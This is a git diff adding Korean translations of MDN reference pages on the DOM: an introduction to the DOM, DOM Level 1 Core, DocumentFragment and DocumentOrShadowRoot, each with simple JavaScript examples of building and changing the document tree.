The W3C's DOM Level 1 Core 는 documents의 콘텐츠 트리를 변경하기 위한 강력한 객체형 모델입니다. 웹 스크립팅을 위한 초석이기도 한 이 모델은 Mozilla Firefox and Microsoft Internet Explorer를 포함한 주요 브라우저에서 지원합니다.

+ +

What is a content tree?

+ +

많은 HTML 웹 페이지 저자(이하 개발자)는 HTML를 - 태그와 글자로 버무려진 - 평평한 무언가라고 생각할 수 있습니다. 하지만 HTML은, 그 이상의 의미를 가지고 있습니다. 모든 HTML 문서 (SGML document or XML document 또한) 트리 구조를 가지고 있습니다. 예를 들면 아래의 문서와 도면의 구조는 굉장히 유사합니다. (완전히 같지는 않습니다! whitespace in the DOM 문서를 참조하세요.)

+ +
<html>
+<head>
+  <title>My Document</title>
+</head>
+<body>
+  <h1>Header</h1>
+  <p>Paragraph</p>
+</body>
+</html>
+
+ +

image:Using_the_W3C_DOM_Level_1_Core-doctree.jpg

+ +

모질라에서 어떤 HTML 문서를 파싱할 때, 컨텐츠 트리를 만들고 이를 HTML 보여줄 때 사용합니다.

+ +

DOM Level 1 Core에 대해서 설명하기 위한 용어에 대한 설명입니다. 위 도면에서 나온 모든 박스는 트리의 노드입니다. 한 노드 위의 선은 노드 간의 부모 - 자식 관계를 설명합니다. 상위 노드가 부모 노드이고, 하위 노드는 자식 노드입니다. 두 자식 노드를 같은 부모 노드를 가지고 있기 때문에 형제자매 노드라고 부를 수 있습니다. 비슷하게, ancestors와 descendants라는 용어를 사용할 수도 있습니다.

+ +

What does the DOM Level 1 Core let me do?

+ +

The W3C DOM Level 1은 컨텐츠 트리를 웹 페이지 개발자가 원하는 어떤 방식으로든 바꿀 수 있게 합니다. 백지 상태에서 HTML 문서를 제작할 수 있을 만큼 강력합니다. 또한 스크립트 언어를 통해 언제 어디서든 HTML 문서를 개발자가 조작할 수 있도록 합니다. 자바스크립트를 통해서 개발자는 동적으로 DOM을 가장 쉽게 변경할 수 있습니다. 자바스크립트는 전역 객체의 document 객체를 통해 오래된 브라우저가 접근했던 그 방식대로, HTML 문서에 접근 가능합니다, 이 document 객체는 the W3C's DOM Level 1 spec의 Document interface 가 적용되어 있습니다.

+ +

A simple example

+ +

개발자가 상단의 HTML 문서에서 header의 내용을 바꾸고, 한 문단(Paragraph) 대신 두 문단으로 적용하고 싶다면, 아래와 같은 스크립트를 작성할 수 있습니다. 

+ +

HTML Content

+ +
<body>
+<input type="button" value="Change this document." onclick="change()">
+<h2>Header</h2>
+<p>Paragraph</p>
+</body>
+
+ +

JavaScript Content

+ +
  function change() {
+    // document.getElementsByTagName("H2") 는 <h2> 엘리먼트의
+    // NodeList를 반환(return)합니다. 0부터 시작합니다.
+
+    var header = document.getElementsByTagName("H2").item(0);
+    // 헤더의 첫번째 자식 노드는 Text 노드입니다.
+    header.firstChild.data = "A dynamic document";
+    // 이제 헤더는 "A dynamic document"가 되었습니다.
+
+    var para = document.getElementsByTagName("P").item(0);
+    para.firstChild.data = "This is the first paragraph.";
+
+    // 두번째 문단을 만들기 위한 새로운 Text 노드를 만들었습니다.
+    var newText = document.createTextNode("This is the second paragraph.");
+    // 두번째 문단을 만들기 위한 새로운 p 엘리먼트를 만들었습니다.
+    var newElement = document.createElement("P");
+    // 새로운 p 엘리먼트에 텍스트를 넣어 문단을 만듭니다.
+    newElement.appendChild(newText);
+    // 생성한 문단을 HTML 문서 마지막에 넣기 위해
+    // (para의 부모인) HTML BODY에 append합니다.
+    para.parentNode.appendChild(newElement);
+  }
+ +

{{ EmbedLiveSample('A_simple_example', 800, 300) }}

+ +

여기에서 완성된 예시를 확인하실 수 있습니다.

+ +

How can I learn more?

+ +

이제 DOM의 기본적인 개념에 대한 설명이 끝났습니다. DOM Level 1 fundamental methods 에 대해서 궁금하시다면, 더 자세히 공부하실 수 있습니다.

+ +

더욱 정확하고 엄밀한 설명은 W3C DOM Level 1 Core specification 에서 확인하실 수 있습니다. 개발자에게 정보는 DOM 객체에 대한 설명과, 객체의 특성과 메소드에 대한 설명이 특히 유용합니다. MDN의 다른 DOM 관련 문서도 참고 부탁 드립니다.

+ +
+

Original Document Information

+ + +
diff --git "a/files/ko/web/api/document_object_model/\354\206\214\352\260\234/index.html" "b/files/ko/web/api/document_object_model/\354\206\214\352\260\234/index.html" new file mode 100644 index 0000000000..b31dbc43d9 --- /dev/null +++ "b/files/ko/web/api/document_object_model/\354\206\214\352\260\234/index.html" @@ -0,0 +1,239 @@ +--- +title: DOM 소개 +slug: Web/API/Document_Object_Model/소개 +tags: + - DOM + - 가이드 + - 문서 +translation_of: Web/API/Document_Object_Model/Introduction +--- +

이 문서는 {{glossary("DOM")}}에 대한 개념을 간략하게 소개하는 문서이다: DOM 이 무엇이며, 그것이 어떻게 {{glossary("HTML")}}, {{glossary("XML")}} 문서들을 위한 구조를 제공하는지, 어떻게 DOM 에 접근하는지, API 가 어떻게 사용되는지에 대한 참조 정보와 예제들을 제공한다. 

+ +

DOM 이란?

+ +

문서 객체 모델(The Document Object Model, 이하 DOM) 은 HTML, XML 문서의 프로그래밍 interface 이다. DOM은 문서의 구조화된 표현(structured representation)을 제공하며 프로그래밍 언어가 DOM 구조에 접근할 수 있는 방법을 제공하여 그들이 문서 구조, 스타일, 내용 등을 변경할 수 있게 돕는다. DOM 은 구조화된 nodes와 property 와 method 를 갖고 있는 objects로 문서를 표현한다. 이들은 웹 페이지를 스크립트 또는 프로그래밍 언어들에서 사용될 수 있게 연결시켜주는 역할을 담당한다.

+ +

웹 페이지는 일종의 문서(document)다.  이 문서는 웹 브라우저를 통해 그 내용이 해석되어 웹 브라우저 화면에 나타나거나 HTML 소스 자체로 나타나기도 한다. 동일한 문서를 사용하여 이처럼 다른 형태로 나타날 수 있다는 점에 주목할 필요가 있다. DOM 은 동일한 문서를 표현하고, 저장하고, 조작하는 방법을 제공한다. DOM 은 웹 페이지의 객체 지향 표현이며, 자바스크립트와 같은 스크립팅 언어를 이용해 DOM 을 수정할 수 있다.

+ +

W3C DOMWHATWG DOM 표준은 대부분의 브라우저에서 DOM 을 구현하는 기준이다. 많은 브라우저들이 표준 규약에서 제공하는 기능 외에도 추가적인 기능들을 제공하기 때문에 사용자가 작성한 문서들이 각기 다른 DOM 이 적용된 다양한 브라우저 환경에서 동작할 수 있다는 사실을 항상 인지하고 있어야 한다.

+ +

예를 들어, 표준 DOM 에서는 문서 안에서 모든 <P> elements 에 대한 list 를 리턴하는 getElementsByTagName method 를 정의하고 있다:

+ +
var paragraphs = document.getElementsByTagName("P");
+// paragraphs[0] is the first <p> element
+// paragraphs[1] is the second <p> element, etc.
+alert(paragraphs[0].nodeName);
+
+ +

웹 페이지를 수정하거나 생성하는데 사용되는 모든 property, method, event 들은 objects 로 구성된다. 예를 들어 document object 는 document 자체를 의미하며, table object 는 HTML table 에 접근하기 위한 HTMLTableElement DOM 인터페이스를 구현한 것이다. 이 문서는 Gecko 기반의 브라우저에서 구현된 DOM 에 대한 object-by-object reference 를 제공한다.

+ +

DOM 과 자바스크립트

+ +

이 문서의 대부분의 예제와 같이, 위에서 사용된 예제는 {{glossary("JavaScript")}}이다. 위의 예제는 자바스크립트로 작성되었지만 문서(document) 와 문서의 요소(element) 에 접근하기 위해 DOM 이 사용되었다. DOM 은 프로그래밍 언어는 아니지만 DOM 이 없다면 자바스크립트 언어는 웹 페이지 또는 XML 페이지 및 요소들과 관련된 모델이나 개념들에 대한 정보를 갖지 못하게 된다. 문서의 모든 element - 전체 문서, 헤드, 문서 안의 table, table header, table cell 안의 text - 는 문서를 위한 document object model 의 한 부분이다. 때문에, 이러한 요소들을 DOM 과 자바스크립트와 같은 스크립팅 언어를 통해 접근하고 조작할 수 있는 것이다.  

+ +

초창기에는 자바스크립트와 DOM 가 밀접하게 연결되어 있었지만,  나중에는 각각 분리되어 발전해왔다. 페이지 콘텐츠(the page content)는 DOM 에 저장되고 자바스크립트를 통해 접근하거나 조작할 수 있다. 이것을 방정식으로 표현하면 아래와 같다:

+ +

API (web or XML page) = DOM + JS (scripting language)

+ +

DOM 은 프로그래밍 언어와 독립적으로 디자인되었다. 때문에 문서의 구조적인 표현은 단일 API 를 통해 이용가능하다.  이 문서에서는 자바스크립트를 주로 사용하였지만, DOM 의 구현은 어떠한 언어에서도 가능하다. 아래는 파이썬을 사용한 예제이다:

+ +
# Python DOM example
+import xml.dom.minidom as m
+doc = m.parse("C:\\Projects\\Py\\chap1.xml");
+doc.nodeName # DOM property of document object;
+p_list = doc.getElementsByTagName("para");
+
+ +

웹에서 자바스크립트 사용하기와 관련된 기술에 대한 추가정보는 자바스크립트 기술 개요 문서를 참조하라.

+ +

DOM 에 어떻게 접근할 수 있는가?

+ +

DOM 을 사용하기 위해 특별히 해야할 일은 없다. 각각의 브라우저는 자신만의 방법으로 DOM 구현하였으며, 이로 인해 실제 DOM 기준을 따르는지 확인해야 하는 번거로움이 발생하였다. (이 문제는 이 문서에서 피하고 싶어하는 주제이기도 하다.) 모든 웹 브라우저는 스크립트가 접근할 수 있는 웹 페이지를 만들기 위해 어느 정도의 DOM 을 항상 사용한다. 

+ +

스크립트를 작성할 때(인라인 <script> 요소를 사용하거나 웹 페이지 안에 있는 스크립트 로딩 명령을 사용하여), 문서 자체를 조작하거나 문서의 children 을 얻기 위해 {{domxref("document")}} 또는 window elements 를 위한 API 를 즉시 사용할 수 있다. DOM 프로그래밍은 아래처럼 window object 로 부터 alert() 함수를 사용하여 alert message 를 표시하는 매우 간단한 것일 수도 있고 다음번 예제처럼 새로운 content 를 작성하는 복잡한 DOM 이 될 수도 있다.

+ +
<body onload="window.alert('welcome to my home page!');">
+
+ +

아래의 자바스크립트는 문서가 로드될 때(모든 DOM을 사용할 수 있게 되는 때임) 실행되는 함수를 정의하였다. 이 함수는 새로운 H1 element 를 생성하고, element 에 text 를 추가하며, H1 을 이 문서의 트리에 추가한다.

+ +
<html>
+  <head>
+    <script>
+       // run this function when the document is loaded
+       window.onload = function() {
+
+         // create a couple of elements in an otherwise empty HTML page
+         var heading = document.createElement("h1");
+         var heading_text = document.createTextNode("Big Head!");
+         heading.appendChild(heading_text);
+         document.body.appendChild(heading);
+      }
+    </script>
+  </head>
+  <body>
+  </body>
+</html>
+
+ +

중요한 데이터 타입들

+ +

이 문서는 objects 와 types 을 최대한 간단하게 설명하려 한다. API 에는 우리가 반드시 알고 있어야 할 수많은 data types 이 있다는 사실을 염두해 두기 바란다.  이 문서에서는 nodes 는 elements 로, 노드의 arrays 는 nodeLists(또는 elements), attribute 노드들은 attributes 로 표현하였다.

+ +

아래의 표는 이러한 data types 에 대한 간략한 설명이다.

+ + + + + + + + + + + + + + + + + + + + + + + + +
document +

member 가 document type 의 object 를 리턴할 때(예를 들어 element의 ownerDocument property 는 그것이 속해 있는 document 를 return 한다. ), 이 object 는 root document object 자체이다. 는 document object 에 대한 설명은 DOM document Reference 챕터를 참조하라.

+
element +

element 는 DOM API 의 member 에 의해 return 된 element 또는 element type 의 node 를 의미한다. document.createElement() method 가 node 를 참조하는 object 를 리턴한다고 말하는 대신, 이 method 가 DOM 안에서 생생되는 element 를 리턴한다고 좀 더 단순하게 말할 수 있다. element 객체들은 DOM Element interface 와 함께 좀 더 기본적인 Node interface 를 구현한 것이기 때문에 이 reference 에는 두 가지가 모두 포함되었다고 생각하면 된다.

+
nodeList +

nodeList 는 elements 의 배열이다. (document.getElementsByTagName() method 에 의해 리턴된 것과 같은) nodeList의 Items 은 index 를 통해 접근 가능하며, 다음과 같이 두 가지 방식이 있다:

+ +
    +
  • list.item(1)
  • +
  • list[1]
  • +
+ 위의 방식들은 동일한 것이다. item()method는 nodeList object 의 단일 method 이다. 두번째 방식은 list 에서 두번째 item 을 fetch 하는 전형적인 array syntax 이다.  
attribute +

attribute 가 member 에 의해 리턴되는 것은(예를 들어 createAttribute() method 호출에 의한 리턴), attribute 에 대한 특별한 인터페이스를 노출하는 object reference 이다. attributes 는 DOM 에서 elements 와 같은 nodes 이다. elements 만큼 많이 사용되지는 않는다.

+
namedNodeMap +

namedNodeMap 는 array 와 유사하지만 items 은 name 또는 index 에 의해 접근 가능하다. 리스트는 특별한 정렬이 적용되지 않았기 enumeration 할 때 index 를 주로 사용한다. namedNodeMap 는 이를 위해 item() method 가 있으며, namedNodeMap 에 item 을 추가하거나 삭제할 수 있다.

+
+ +

DOM interfaces

+ +

이 문서는 objects 와 DOM 에서 조작가능한 것들에 대해 설명하고 있다. 사람들은 HTML FORM element 가 HTMLFormElement interface 로부터 name property 를 얻고, className property 는  HTMLElement interface 로부터 얻는 것에 대해 별로 관심을 보이지 않는 것 같다. 두가지 경우 모두, property 는 form object 안에 있는 것이다. 

+ +

하지만 DOM 안에 구현된 objects 와 interfaces 사이의 관계는 혼동될 수 있다. 이 섹션에서는 DOM specification 안의 실제  interfaces 와 그들을 어떻게 활용할 수 있는지에 대해 살펴보도록 하겠다.

+ +

Interfaces 와 Objects

+ +

많은 objects 가 여러 개의 다른 interfaces 와 연관되어 있다.  예를 들어, table object 는 createCaption, insertRow method 들이 포함된 {{domxref("HTMLTableElement")}} 을 구현한 것이다. table object 는 HTML element 이기도 하기 때문에, table 은 Element interface(DOM {{domxref("Element")}} Reference 챕터 참조)도 구현한다. 마지막으로, HTML element 는 DOM 이 연관되어 있는 한 nodes 트리(tree)에서 하나의 node 이다. nodes 트리는 웹 페이지 또는 XML 페이지를 위한 object model 을 구성한다. 때문에 table element 는 보다 기본적인 Element 에서 파생된 Node interface 를 구현하고 있다.

+ +

아래의 예제처럼, table object 를 참조하게 되면, 기본적으로 이들 3 가지 interfaces 를 사용할 수 있게 된다.

+ +
var table = document.getElementById("table");
+var tableAttrs = table.attributes; // Node/Element interface
+for (var i = 0; i < tableAttrs.length; i++) {
+  // HTMLTableElement interface: border attribute
+  if(tableAttrs[i].nodeName.toLowerCase() == "border")
+    table.border = "1";
+}
+// HTMLTableElement interface: summary attribute
+table.summary = "note: increased border";
+
+ +

DOM 의 핵심 Interfaces

+ +

이 섹션은 DOM 에서 가장 많이 사용되는 interfaces 를 정리해보았다. 여기에서는 이들 API 가 실제로 어떤 일을 하는지 설명하는 대신 DOM 을 사용하면서 자주 만나게 되는 methods 와 properties 를 보여줄 것이다.  이들 API 는 이 책의 마지막에 소개된 DOM 예제에서도 사용되었다.

+ +

Documentwindow objects 는 DOM 프로그래밍에서 가장 자주 사용하는 objects 이다.  간단하게 설명하자면, window object 는 브라우저와 같다고 할 수 있으며, document object 는 root document 자체라고 할 수 있다. generic Node interface 로부터 상속받은 ElementNodeElement interfaces 가 협력하여 각각의 elements 에서 사용할 수 있는 수많은 methods 와 properties 를 제공한다. 이러한 elements 는 이전 섹션에서 설명한 table object 예제에서도 살펴봤듯이, elements 가 보유한 데이터를 처리할 수 있는 특정한 interfaces 도 가지고 있다.

+ +

아래는 웹 페이지, XML 페이지 스크립팅에서 DOM 을 사용하는 공통적인 API 들의 간략한 목록이다. 

+ + + +

DOM API 테스팅

+ +

이 문서는 사용자가 웹 개발에 사용할 수 있는 모든 interface 에 대한 예제를 제공한다. 예제는 <script> element 안에서 DOM 에 접근하는 완벽한 HTML 페이지 형태인 것도 있고, form 에서 script 를 실행하기 위해 버튼과 같은 interface 가 필요한 경우도 있으며, DOM 이 목록화되어 수행되는 HTML elements 도 있을 것이다. 사용자들은 이러한 예제를 새로운 HTML 문서에 복사하여 브라우저에서 실행할 수 있다. 

+ +

어떤 예제는 매우 간단할 수도 있다. HTML elements 에 대한 interface의 기본적인 관계만 보여주는 이러한 예제를 실행할 때는, 스크립트에서 쉽게 접근할 수 있는 test page 를 설정할 수도 있다. 아래의 예제는 interface를 테스트 할 수 있는 함수가 위치할 수 있는 header 안에  <script> element 제공한다. 이 함수는 retrieve, set, 조작할 수 있는 attributes 가 포함된 HTML elements 가 사용되었으며, 브라우저에서 이들 함수를 호출하기 위해 웹 UI 를 제공한다.

+ +

사용자는 자신이 관심있어 하는 DOM interfaces 를 테스트 하기 위해, 이 test page 를 사용하거나 이와 비슷한 것을 만들어 브라우저에서 어떻게 동작하는지 확인할 수 있다. 사용자는 test() 함수 내용을 필요에 따라 업데이트할 수 있다. (버튼 추가, elements 추가 등)

+ +
<html>
+  <head>
+    <title>DOM Tests</title>
+    <script type="application/javascript">
+    function setBodyAttr(attr,value){
+      if (document.body) eval('document.body.'+attr+'="'+value+'"');
+      else notSupported();
+    }
+    </script>
+  </head>
+  <body>
+    <div style="margin: .5in; height: 400;">
+      <p><b><tt>text</tt>color</b></p>
+      <form>
+        <select onChange="setBodyAttr('text',
+        this.options[this.selectedIndex].value);">
+          <option value="black">black
+          <option value="darkblue">darkblue
+        </select>
+        <p><b><tt>bgColor</tt></b></p>
+        <select onChange="setBodyAttr('bgColor',
+        this.options[this.selectedIndex].value);">
+          <option value="white">white
+          <option value="lightgrey">gray
+        </select>
+        <p><b><tt>link</tt></b></p>
+        <select onChange="setBodyAttr('link',
+        this.options[this.selectedIndex].value);">
+          <option value="blue">blue
+          <option value="green">green
+        </select>  <small>
+        <a href="http://www.brownhen.com/dom_api_top.html" id="sample">
+        (sample link)</a></small><br>
+      </form>
+      <form>
+        <input type="button" value="version" onclick="ver()" />
+      </form>
+    </div>
+  </body>
+</html>
+
+ +

단일 페이지(예를 들어, 웹 페이지의 색상에 영향을 주는 property 설정하는) 안의 수많은 interfaces 를 테스트하기 위해 설정 버튼, textfield, 또는 다른 HTML elements를 사용하여 유사한 테스트 페이지를 만들 수 있다. 아래의 스크린샷은 테스트를 위해 어떻게 interfaces를 그룹화하는지에 대한 아이디어를 제공하고 있다.  

+ +
+
Figure 0.1 Sample DOM Test Page
+Image:DOM_Ref_Introduction_to_the_DOM.gif
+ +

이 예제에서 드롭다운 메뉴는 웹 페이지에서 DOM 접근가능한 배경색상(bgColor), 하이퍼링크 색상(aLink), 텍스트 색상(text)을 동적으로 업데이트한다. 어떻게 자신의 test pages 를 디자인하더라도, interface 테스트는 DOM 을 효과적으로 사용하는 법을 배우는 데 매우 중요한 수단임을 명심하라.

+ + + + + +
{{DefaultAPISidebar("DOM")}}
diff --git a/files/ko/web/api/documentfragment/index.html b/files/ko/web/api/documentfragment/index.html new file mode 100644 index 0000000000..a22770cfae --- /dev/null +++ b/files/ko/web/api/documentfragment/index.html @@ -0,0 +1,139 @@ +--- +title: DocumentFragment +slug: Web/API/DocumentFragment +tags: + - API + - DOM + - DocumentFragment + - Documents + - Interface + - Reference + - Web Components +translation_of: Web/API/DocumentFragment +--- +
{{ APIRef("DOM") }}
+ +

DocumentFragment 인터페이스는 부모가 없는 아주 작은 document 객체를 나타냅니다. {{domxref("Document")}}의 경량화된 버전으로 사용되며 표준문서와 같이 노드로 구성된 문서 구조의 일부를 저장합니다. 중요한 차이점은 DocumentFragment는 활성화된 문서 트리 구조의 일부가 아니기 때문에 fragment를 변경해도 문서에는 영향을 미치지 않으며({{Glossary("reflow")}} 포함) 성능에도 영향이 없다는 점입니다.

+ +

{{InheritanceDiagram}}

+ +

생성자

+ +
+
{{ domxref("DocumentFragment.DocumentFragment()", "DocumentFragment()") }}
+
새로운 DocumentFragment 객체를 생성하여 반환합니다.
+
+ +

속성

+ +

이 인터페이스는 특정한 속성이 없지만 부모인 {{domxref("Node")}}, {{domxref("ParentNode")}}의 속성을 상속합니다.

+ +
+
{{ domxref("ParentNode.children") }} {{readonlyInline}}{{experimental_inline}}
+
DocumentFragment 객체의 자식 {{domxref("Element")}}를 전부 포함하는 실시간 {{domxref("HTMLCollection")}}을 반환합니다.
+
{{ domxref("ParentNode.firstElementChild") }} {{readonlyInline}}{{experimental_inline}}
+
DocumentFragment 객체의 첫번째 자식 {{domxref("Element")}}를 반환합니다. 없으면 null을 반환합니다.
+
{{ domxref("ParentNode.lastElementChild") }} {{readonlyInline}}{{experimental_inline}}
+
DocumentFragment 객체의 마지막 자식 {{domxref("Element")}}를 반환합니다. 없으면 null을 반환합니다.
+
{{ domxref("ParentNode.childElementCount") }} {{readonlyInline}}{{experimental_inline}}
+
DocumentFragment가 가진 자식 수를 unsigned long 타입으로 반환합니다.
+
+ +

메서드

+ +

이 인터페이스는 부모인 {{domxref("Node")}}와 {{domxref("ParentNode")}} 인터페이스의 메서드를 상속합니다.

+ +
+
{{domxref("DocumentFragment.querySelector()")}}
+
DocumentFragment 내 지정된 선택자와 일치하는 첫번째 {{domxref("Element")}} 노드를 반환합니다.
+
{{domxref("DocumentFragment.querySelectorAll()")}}
+
DocumentFragment 내 지정된 선택자와 일치하는 모든 {{domxref("Element")}} 노드를 {{domxref("NodeList")}} 형태로 반환합니다.
+
{{domxref("DocumentFragment.getElementById()")}}
+
DocumentFragment 내 지정된 ID와 일치하는 첫번째 {{domxref("Element")}} 노드를 반환합니다. 기능적으로 {{domxref("Document.getElementById()")}}와 동일합니다.
+
+ +

사용법

+ +

DocumentFragment의 일반적인 용도는 DocumentFragment를 생성하고, 그 안에서 DOM 하위 트리를 조립한 다음, {{domxref("Node.appendChild", "appendChild()")}}나 {{domxref("Node.insertBefore", "insertBefore()")}}와 같은 {{domxref("Node")}} 인터페이스 메서드를 사용하여 DOM에 삽입하는 것입니다. 이렇게 하면 DocumentFragment의 노드들이 DOM으로 이동되고 빈 DocumentFragment만 남게 됩니다. 모든 노드가 한 번에 문서에 삽입되기 때문에 노드를 개별로 하나씩 삽입할 때마다 리플로우와 렌더링을 해주는 대신 단 한 번의 리플로우와 렌더링만 발생하게 됩니다.

+ +

이 인터페이스는 웹 컴포넌트를 사용할 때도 매우 유용합니다: {{HTMLElement("template")}} 요소는 {{domxref("HTMLTemplateElement.content")}} 속성에 DocumentFragment를 포함하고 있습니다.

+ +

빈 DocumentFragment는 {{domxref("document.createDocumentFragment()")}} 메서드나 생성자를 이용하여 만들 수 있습니다.

+ +

예제

+ +

HTML

+ +
<ul id="list"></ul>
+
+ +

JavaScript

+ +
var list = document.querySelector('#list')
+var fruits = ['Apple', 'Orange', 'Banana', 'Melon']
+
+var fragment = new DocumentFragment()
+
+fruits.forEach(function (fruit) {
+  var li = document.createElement('li')
+  li.innerHTML = fruit
+  fragment.appendChild(li)
+})
+
+list.appendChild(fragment)
+
+ +

결과

+ +

{{ EmbedLiveSample('예제', '', '', '', 'Web/API/DocumentFragment') }}

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
표준상태비고
{{SpecName('DOM WHATWG', '#interface-documentfragment', 'DocumentFragment')}}{{Spec2('DOM WHATWG')}}Added the constructor and the implementation of {{domxref("ParentNode")}}.
{{SpecName('Selectors API Level 1', '#the-apis', 'DocumentFragment')}}{{Spec2('Selectors API Level 1')}}Added the querySelector() and querySelectorAll() methods.
{{SpecName('DOM3 Core', 'core.html#ID-B63ED1A3', 'DocumentFragment')}}{{Spec2('DOM3 Core')}}No change from {{SpecName('DOM2 Core')}}
{{SpecName('DOM2 Core', 'core.html#ID-B63ED1A3', 'DocumentFragment')}}{{Spec2('DOM2 Core')}}No change from {{SpecName('DOM1')}}
{{SpecName('DOM1', 'level-one-core.html#ID-B63ED1A3', 'DocumentFragment')}}{{Spec2('DOM1')}}Initial definition
+ +

브라우저 호환성

+ + + +

{{Compat("api.DocumentFragment")}}

+ +

참조

+ + diff --git a/files/ko/web/api/documentorshadowroot/activeelement/index.html b/files/ko/web/api/documentorshadowroot/activeelement/index.html new file mode 100644 index 0000000000..2f4d4394d9 --- /dev/null +++ b/files/ko/web/api/documentorshadowroot/activeelement/index.html @@ -0,0 +1,94 @@ +--- +title: DocumentOrShadowRoot.activeElement +slug: Web/API/DocumentOrShadowRoot/activeElement +tags: + - API + - Document + - DocumentOrShadowRoot + - Focus + - Property + - Reference + - ShadowRoot +translation_of: Web/API/DocumentOrShadowRoot/activeElement +--- +
{{APIRef("Shadow DOM")}}
+ +

{{domxref("Document")}}와 {{domxref("ShadowRoot")}} 인터페이스의 activeElement 읽기 전용 속성은 DOM과 섀도우 DOM 내에서 현재 포커스를 받은 {{domxref("Element")}} 객체를 반환합니다. 이 속성은 {{domxref("DocumentOrShadowRoot")}} {{Glossary("mixin", "믹스인")}}에서 상속받습니다.

+ +

activeElement 접근 시점에 텍스트를 블록 선택하고 있는 경우 해당하는 {{htmlelement("input")}}이나 {{htmlelement("textarea")}} 객체를 반환하는데, 그러면 그 객체의 {{domxref("Document.selectionStart", "selectionStart")}}와 {{domxref("Document.selectionEnd", "selectionEnd")}} 메서드를 사용해 선택에 대한 더 자세한 정보를 알아낼 수 있습니다. 포커스가 자주 가는 다른 경우로는 {{htmlelement("select")}} 요소나 type"button", "checkbox", "radio"인 {{htmlelement("input")}} 요소가 있습니다.

+ +

보통 사용자는 포커스 가능한 요소를 Tab 키를 사용해 탐색할 수 있고, 스페이스 바를 사용해 활성화(버튼을 누르거나 라디오 버튼을 켜는 등)할 수 있습니다. 포커스 가능한 요소는 현재 플랫폼과 브라우저 설정에 따라 다릅니다. 가령 macOS의 경우, 기본값에서는 텍스트 입력 칸이 아니면 보통 포커스 할 수 없습니다.

+ +
+

참고: 포커스(사용자의 입력 이벤트를 받는 요소)와 선택(문서 내에서 강조하고 있는 부분)은 다릅니다. 현재 선택 영역은 {{domxref("window.getSelection()")}}을 사용해 가져올 수 있습니다.

+
+ +

구문

+ +
element = DocumentOrShadowRoot.activeElement
+ +

+ +

포커스를 갖고 있는 {{domxref("Element")}}. 그런 요소가 없으면 {{htmlelement("body")}} 또는 {{jsxref("null")}}.

+ +

예제

+ +

HTML

+ +
<p>아래 두 영역에서 텍스트를 선택해보세요.</p>
+
+<form>
+  <textarea name="ta-example-one" id="ta-example-one" rows="7" cols="40">텍스트 영역 1. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Donec tincidunt, lorem a porttitor molestie, odio nibh iaculis libero, et accumsan nunc orci eu dui.</textarea>
+  <textarea name="ta-example-two" id="ta-example-two" rows="7" cols="40">텍스트 영역 2. Fusce ullamcorper, nisl ac porttitor adipiscing, urna orci egestas libero, ut accumsan orci lacus laoreet diam. Morbi sed euismod diam.</textarea>
+</form>
+
+<p>활성화된 요소 ID: <b id="output-element"></b></p>
+<p>선택한 텍스트: <b id="output-text"></b></p>
+ +

JavaScript

+ +
function onMouseUp(e) {
+  const activeTextarea = document.activeElement;
+  const selection = activeTextarea.value.substring(
+    activeTextarea.selectionStart, activeTextarea.selectionEnd
+  );
+
+  const outputElement = document.getElementById('output-element');
+  const outputText = document.getElementById('output-text');
+  outputElement.innerHTML = activeTextarea.id;
+  outputText.innerHTML = selection;
+}
+
+const textarea1 = document.getElementById('ta-example-one');
+const textarea2 = document.getElementById('ta-example-two');
+textarea1.addEventListener('mouseup', onMouseUp, false);
+textarea2.addEventListener('mouseup', onMouseUp, false);
+ +

결과

+ +

{{ EmbedLiveSample('예제', '400', '400') }}

+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', 'interaction.html#dom-document-activeelement', 'activeElement')}}{{Spec2('HTML WHATWG')}}
+ +

브라우저 호환성

+ +
+ + +

{{Compat("api.DocumentOrShadowRoot.activeElement")}}

+
diff --git a/files/ko/web/api/documentorshadowroot/index.html b/files/ko/web/api/documentorshadowroot/index.html new file mode 100644 index 0000000000..74a6296b29 --- /dev/null +++ b/files/ko/web/api/documentorshadowroot/index.html @@ -0,0 +1,74 @@ +--- +title: DocumentOrShadowRoot +slug: Web/API/DocumentOrShadowRoot +tags: + - API + - Document + - DocumentOrShadowRoot + - Interface + - NeedsTranslation + - Reference + - ShadowRoot + - TopicStub + - shadow dom +translation_of: Web/API/DocumentOrShadowRoot +--- +
{{APIRef("Web Components")}}
+ +

Shadow DOM API 의 DocumentOrShadowRoot 믹스인(mixin)은 문서와 섀도우 루트간에 공유되는 API를 제공합니다. 다음 기능은 문서{{DOMxRef("Document")}}와 {{DOMxRef("ShadowRoot")}}에 모두 포함되어 있습니다.

+ +

Properties

+ +
+
{{DOMxRef("DocumentOrShadowRoot.activeElement")}}{{ReadOnlyInline}}
+
포커스를 가지는 섀도우 루트 내의 요소{{DOMxRef('Element')}}를 반환합니다.
+
{{DOMxRef("DocumentOrShadowRoot.fullscreenElement")}}{{ReadOnlyInline}}
+
현재 이 문서에서 full screen mode인 요소{{DOMxRef('Element')}}를 반환합니다.
+
{{DOMxRef("DocumentOrShadowRoot.pointerLockElement")}} {{Experimental_Inline}}{{ReadOnlyInline}}
+
포인터가 잠겨있는 동안 마우스 이벤트의 대상으로 설정된 요소를 반환합니다. 잠금이 보류중이거나 포인터가 잠금 해제되어 있거나, 대상이 다른 문서(document)에 있으면 null을 반환합니다.
+
{{DOMxRef("DocumentOrShadowRoot.styleSheets")}}{{ReadOnlyInline}}
+
문서에 명시적으로 링크되었거나 포함하고 있는 스타일 시트의 {{DOMxRef('CSSStyleSheet')}} 객체의 {{DOMxRef('StyleSheetList')}}를 반환합니다.
+
+ +

Methods

+ +
+
{{DOMxRef("DocumentOrShadowRoot.getSelection()")}}
+
유저가 선택한 텍스트의 범위, 또는 캐럿(caret - 텍스트 커서)의 현재 위치를 나타내는 {{DOMxRef('Selection')}}객체를 반환합니다.
+
{{DOMxRef("DocumentOrShadowRoot.elementFromPoint()")}}
+
지정된 좌표의 최상위 요소를 반환합니다.
+
{{DOMxRef("DocumentOrShadowRoot.elementsFromPoint()")}}
+
지정된 자표에 있는 모든 요소의 배열을 반환합니다.
+
{{DOMxRef("DocumentOrShadowRoot.caretPositionFromPoint()")}}
+
캐럿을 포함한 DOM 노드와 그 노드 내에서 캐럿의 문자 오프셋을 포함한 {{DOMxRef('CaretPosition')}}를 반환합니다.
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
